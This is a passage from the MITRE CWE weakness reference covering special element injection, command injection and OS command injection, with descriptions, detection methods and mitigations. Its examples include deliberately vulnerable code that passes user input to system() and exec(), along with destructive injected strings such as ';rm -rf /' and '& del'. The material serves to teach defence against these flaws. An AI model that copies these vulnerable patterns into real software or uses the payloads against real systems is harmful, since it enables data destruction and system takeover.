<td>273</td>
<td>HTTP Response Smuggling</td>
<td></td>
</tr>
</tbody>
</table>
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

**Weakness ID:** 75 (Weakness Class)  
**Status:** Draft

**Description**

**Summary**
The software does not adequately filter user-controlled input for special elements with control implications.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Confidentiality
- Availability
- Modify application data
- Execute unauthorized code or commands

**Potential Mitigations**

**Requirements**
Programming languages and supporting technologies might be chosen which are not subject to these issues.

**Implementation**
Utilize an appropriate mix of whitelist and blacklist parsing to filter special element syntax from all input.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>CAPEC-ID</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>699</td>
<td>113</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>76</td>
<td>Improper Neutralization of Equivalent Special Elements</td>
<td>699</td>
<td>116</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Special Element Injection</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
</tr>
<tr>
<td>93</td>
<td>Log Injection-Tampering-Forging</td>
</tr>
</tbody>
</table>

CWE-76: Improper Neutralization of Equivalent Special Elements

**Weakness ID:** 76 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**
The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

**Extended Description**
The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example,
the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Other
- Other

**Likelihood of Exploit**
- High to Very High

**Potential Mitigations**

**Requirements**
- Programming languages and supporting technologies might be chosen which are not subject to these issues.

**Implementation**
- Utilize an appropriate mix of whitelist and blacklist parsing to filter equivalent special element syntax from all input.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⚫️</td>
<td>75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
<td>699 116</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⚫️</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1000 1392</td>
</tr>
</tbody>
</table>

**Causal Nature**
- Explicit *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Equivalent Special Element Injection</td>
</tr>
</tbody>
</table>

**CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')**

**Description**

**Summary**
- The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

**Extended Description**
- Command injection vulnerabilities typically occur when:
  1. Data enters the application from an untrusted source.
  2. The data is part of a string that is executed as a command by the application.
  3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

- Command injection is a common problem with wrapper programs.
Terminology Notes

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Language-independent

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands

If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.

Likelihood of Exploit

Very High

Demonstrative Examples

Example 1:
The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

C Example:

```c
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2:
The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Java Example:

```java
... 
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K ");
```
CWE Version 2.11

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\dbms\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:
The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Java Example:

```java
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4:
The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

C Example:

```c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)));
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
```
a.out

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Potential Mitigations

Architecture and Design
If at all possible, use library calls rather than external processes to recreate the desired functionality.

Implementation
If possible, ensure that all external commands called from the program are statically created.

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Operation
Run time: Run time policy enforcement may be used in a whitelist fashion to prevent use of any non-sanctioned commands.

System Configuration
Assign permissions to the software system that prevents the user from accessing/opening privileged files.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78 (Weakness Base)  Status: Draft

Description
Summary
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description
This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Alternate Terms
Shell injection
Shell metacharacters

Terminology Notes
The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Integrity
Availability
Non-Repudiation
Execute unauthorized code or commands
DoS: crash / exit / restart
Read files or directories
Modify files or directories
Read application data
Modify application data
Hide activities
Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Static Analysis
High
Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

PHP Example:
```php
g $userName = $_POST["user"];  
g $command = 'ls -l /home/' . $userName;  
g system($command);  
```

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:
```
$ rm -rf /
```

Which would result in $command being:
```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.
Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:
This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Perl Example:
```perl
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
  while (<$fh>) {
    print escapeHTML($_);
    print "<br>
  }
  close($fh);
}
```

Suppose an attacker provides a domain name like this:
```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```
The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

**Example 3:**
The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

**Java Example:**
```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
  System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

**Example 4:**
In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

**Java Example:**
```
public String coordinateTransformLatLonToUTM(String coordinates)
{
  String utmCoords = null;
  try {
    String latlonCoords = coordinates;
    Runtime rt = Runtime.getRuntime();
    Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
    // process results of coordinate transform
    // ...
    } catch(Exception e) {...}
  return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&\' followed by the command for another program to the end of the coordinate string. The '&\' instructs the Windows operating system to execute another program.

**Example 5:**
The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

**Java Example:**
```
... String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K "
c:\util\rmanDB.bat "
+btype+
"&\&c:\\util\\cleanup.bat\"")
```
The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\dbms\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0067</td>
<td>Canonical example. CGI program does not neutralize &quot;</td>
</tr>
<tr>
<td>CVE-2001-1246</td>
<td>Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.</td>
</tr>
<tr>
<td>CVE-2002-0061</td>
<td>Web server allows command execution using &quot;</td>
</tr>
<tr>
<td>CVE-2002-1898</td>
<td>Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.</td>
</tr>
<tr>
<td>CVE-2003-0041</td>
<td>FTP client does not filter &quot;</td>
</tr>
<tr>
<td>CVE-2007-3572</td>
<td>Chain: incomplete blacklist for OS command injection</td>
</tr>
<tr>
<td>CVE-2008-2575</td>
<td>Shell metacharacters in a filename in a ZIP archive</td>
</tr>
<tr>
<td>CVE-2008-4304</td>
<td>OS command injection through environment variable.</td>
</tr>
<tr>
<td>CVE-2008-4796</td>
<td>OS command injection through https:// URLs</td>
</tr>
<tr>
<td>CVE-2012-1988</td>
<td>Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

- **If at all possible, use library calls rather than external processes to recreate the desired functionality.**

#### Architecture and Design

##### Operation

- **Sandbox or Jail**

  - **Limited**

    Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

    OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

    Be careful to avoid CWE-243 and other weaknesses related to jails.

    The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

#### Architecture and Design

##### Identify and Reduce Attack Surface

- **For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible.** For example, in web applications, this may require storing the data locally in the session’s state instead of sending it out to the client in a hidden form field.
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.78.8] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Architecture and Design

Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execv(), execl(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Operation
Compilation or Build Hardening
Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation
Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Operation
Sandbox or Jail
Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

Operation
Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.78.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Operation
Implementation
Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('OS Command Injection')</td>
<td>117</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>984</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
<td>1115</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td>1121</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Nature | Type | ID | Name | Page
-------|------|----|------|------
ChildOf | C | 741 | CERT C Secure Coding Section 07 - Characters and Strings (STR) | 734
ChildOf | C | 744 | CERT C Secure Coding Section 10 - Environment (ENV) | 734
ChildOf | C | 751 | 2009 Top 25 - Insecure Interaction Between Components | 750
ChildOf | C | 801 | 2010 Top 25 - Insecure Interaction Between Components | 800
ChildOf | C | 810 | OWASP Top Ten 2010 Category A1 - Injection | 809
ChildOf | C | 845 | CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS) | 844
ChildOf | C | 864 | 2011 Top 25 - Insecure Interaction Between Components | 900
ChildOf | C | 875 | CERT C++ Secure Coding Section 07 - Characters and Strings (STR) | 866
ChildOf | C | 878 | CERT C++ Secure Coding Section 10 - Environment (ENV) | 868
ChildOf | C | 929 | OWASP Top Ten 2013 Category A1 - Injection | 928
ChildOf | C | 990 | SFP Secondary Cluster: Tainted Input to Command | 888

Research Gaps
More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Affected Resources
- System Process

Functional Areas
- Program invocation

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>OS Command Injection</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Malicious File Execution</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV03-C</td>
<td></td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV04-C</td>
<td></td>
<td>Do not call system() if you do not need a command processor</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR02-C</td>
<td></td>
<td>Sanitize data passed to complex subsystems</td>
</tr>
<tr>
<td>WASC</td>
<td>31</td>
<td></td>
<td>OS Commanding</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS07-J</td>
<td></td>
<td>Do not pass untrusted, unsanitized data to the Runtime.exec() method</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR02-CPP</td>
<td></td>
<td>Sanitize data passed to complex subsystems</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV03-CPP</td>
<td></td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV04-CPP</td>
<td></td>
<td>Do not call system() if you do not need a command processor</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>Argument Injection</td>
</tr>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
</tr>
<tr>
<td>88</td>
<td>OS Command Injection</td>
</tr>
<tr>
<td>108</td>
<td>Command Line Execution through SQL Injection</td>
</tr>
</tbody>
</table>

(CAPEC Version 2.10)
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

White Box Definitions

A weakness where the code path has:
1. start statement that accepts input
2. end statement that executes an operating system command where
   a. the input is used as a part of the operating system command and
   b. the operating system command is undesirable

Where "undesirable" is defined through the following scenarios:
1. not validated
2. incorrectly validated

References


CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

<table>
<thead>
<tr>
<th>Weakness ID: 79</th>
<th>Status: Usable</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
</tbody>
</table>

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

**Extended Description**

Cross-site scripting (XSS) vulnerabilities occur when:
